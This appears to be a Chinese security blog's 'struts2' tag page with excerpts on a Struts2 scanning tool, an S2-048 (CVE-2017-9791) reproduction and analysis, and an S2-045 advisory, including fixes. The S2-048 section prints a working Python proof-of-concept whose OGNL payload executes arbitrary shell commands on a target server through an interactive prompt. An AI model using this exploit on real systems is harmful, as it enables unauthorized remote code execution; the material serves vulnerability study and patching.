Tag:struts2

Tag (struts2)'s result:

s2sniper开源分享:针对struts2漏洞的检测工具

//声明:此工具只能用于教育学习和安全检测,不得用于非法用途,此工具引发的一切非法后果皆与本人无关! 0x00 简介: 这是一款针对struts2的漏洞检测工具,目前支持检测045,046,048,并且可以继续添加,可批量,可自定义线程数。 github 地址:https://github.com/theLSA/s2sniper/ 0x01 功能描述: 1.单url检测。 2.批量url检测。 3.命令执行。 4.程序执行日志记录。 0x02 使用方法: python s2sniper.py -h 单url直接输出结果,批量的结果保存在result文件夹。 0x03 效果图: 使用帮助: 批量检测: 单url检测: 命令执行: 0x04 结语: 简单的小工具,后续会不断完善,欢迎大家反馈bug和建议!

struts2-048漏洞重现及分析报告

0x01 概述 2017年7月,Tophant发现struts2 showcase应用中存在RCE漏洞,攻击者可以构造恶意输入通过struts2的struts1插件触发RCE,Struts2的struts1插件是为了兼容struts1。漏洞编号 s2-048 /CVE-2017-9791。 0x02 影响范围 Struts2.3.x并且启用了struts2-struts1-plugin(非默认) 0x03 POC //此poc来源于https://github.com/jas502n/st2-048 import json,re import requests import threading import urllib def Poc(url,command): header = {‘Content-Type’: ‘application/x-www-form-urlencoded’} poc = {“name”:”%{(#szgx=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ \ “+command+”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}”,”age”:”1″,”__checkbox_bustedBefore”:”true”,”description”:”123123″} data = urllib.urlencode(poc) try: result = requests.post(url,data=data,headers=header) if result.status_code == 200: print result.content except requests.ConnectionError,e: print e th = {“url”:””} while True: if th.get(“url”) != “”: input_cmd = raw_input(“cmd >>: “) if input_cmd == “exit”: exit() elif input_cmd == ‘set’: url = raw_input(“set url :”) th[‘url’] = url elif input_cmd == ‘show url’: print th.get(“url”) else: Poc(th.get(“url”),input_cmd) else: url = raw_input(“set url :”) th[“url”] = url 0x04 环境搭建及效果演示 1.环境搭建: win7+tomcat7+struts2.3.20+java1.8 把struts2-showcase.war复制到webapps目录。 访问 192.168.0.105:8080/struts2-showcase/integration/saveGangster.action 2.效果演示: 0x05 修复方案 1.通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示: messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName())); 一定不要使用如下的方式 messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”)); 2.停用struts2-struts1-plugin插件 3.升级到最新版本 0x06 漏洞分析 先看看官网的说明: It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it’s a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class. 大意就是攻击者可以构造恶意输入通过struts1插件发起RCE,message的部分值来自用户输入,不信任的输入成为error message的一部分进入ActionMessage类。 那就找找是怎么进入ActionMessage的, 来看看SaveGangsterAction.java: public class……

Apache Struts2 RCE bug (S2-045,CVE-2017-5638)

1.概述: 2017.03.07,网上曝出了apache struts2的RCE漏洞,编号CVE-2017-5638。 安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: Struts使用的Jakarta解析文件上传请求出现异常时,对异常的处理不当,当远程攻击者构造恶意的Content-Type(注入ognl语言),可能导致RCE。 官方链接:https://cwiki.apache.org/confluence/display/WW/S2-045 4.影响版本: Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10 基本通杀了! 5.修复方案: 5.1:升级到Apache Struts 2.3.32或2.5.10.1版。 5.2:切换到不同的实现文件上传Multipart解析器(有3种可以选择,默认开启jakarta,此漏洞危害甚广!) 5.3:临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。